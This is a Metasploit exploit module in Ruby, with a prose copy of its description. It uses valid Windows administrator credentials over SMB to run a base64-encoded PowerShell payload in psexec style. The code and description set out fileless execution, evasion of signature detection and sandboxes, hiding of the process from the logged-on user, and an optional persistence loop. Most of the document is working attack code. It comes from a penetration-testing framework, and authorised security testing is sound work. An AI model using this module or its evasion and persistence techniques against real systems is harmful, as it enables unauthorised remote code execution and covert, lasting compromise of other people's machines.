This Metasploit module uses a valid administrator username and password to execute a powershell payload using a similar technique to the "psexec" utility provided by SysInternals. The payload is encoded in base64 and executed from the commandline using the -encodedcommand flag. Using this method, the payload is never written to disk, and given that each payload is unique, is less prone to signature based detection. Since executing shellcode in .NET requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture must match that of the payload. Lastly, a persist option is provided to execute the payload in a while loop in order to maintain a form of persistence. In the event of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection. In order to avoid interactive process notifications for the current user, the psh payload has been reduced in size and wrapped in a powershell invocation which hides the process entirely.
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# -*- coding: binary -*-
##
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##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB::Psexec
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
'Description' => %q{
This module uses a valid administrator username and password to execute a powershell
payload using a similar technique to the "psexec" utility provided by SysInternals. The
payload is encoded in base64 and executed from the commandline using the -encodedcommand
flag. Using this method, the payload is never written to disk, and given that each payload
is unique, is less prone to signature based detection. Since executing shellcode in .NET
requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
must match that of the payload. Lastly, a persist option is provided to execute the payload
in a while loop in order to maintain a form of persistence. In the event of a sandbox
observing PSH execution, a delay and other obfuscation may be added to avoid detection.
In order to avoid interactive process notifications for the current user, the psh payload has
been reduced in size and wrapped in a powershell invocation which hides the process entirely.
},
'Author' => [
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 8192,
'DisableNops' => true,
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 1999',
'References' => [
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
]
))
end
def exploit
command = cmd_psh_payload(payload.encoded)
if datastore['PERSIST'] and not datastore['DisablePayloadHandler']
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.")
end
if datastore['RUN_WOW64'] and target_arch.first == "x86_64"
fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
end
# Try and authenticate with given credentials
if connect
begin
smb_login
rescue StandardError => autherror
disconnect
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
end
# Execute the powershell command
print_status("#{peer} - Executing the payload...")
begin
return psexec(command)
rescue StandardError => exec_command_error
disconnect
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
end
end
end
def peer
return "#{rhost}:#{rport}"
end
end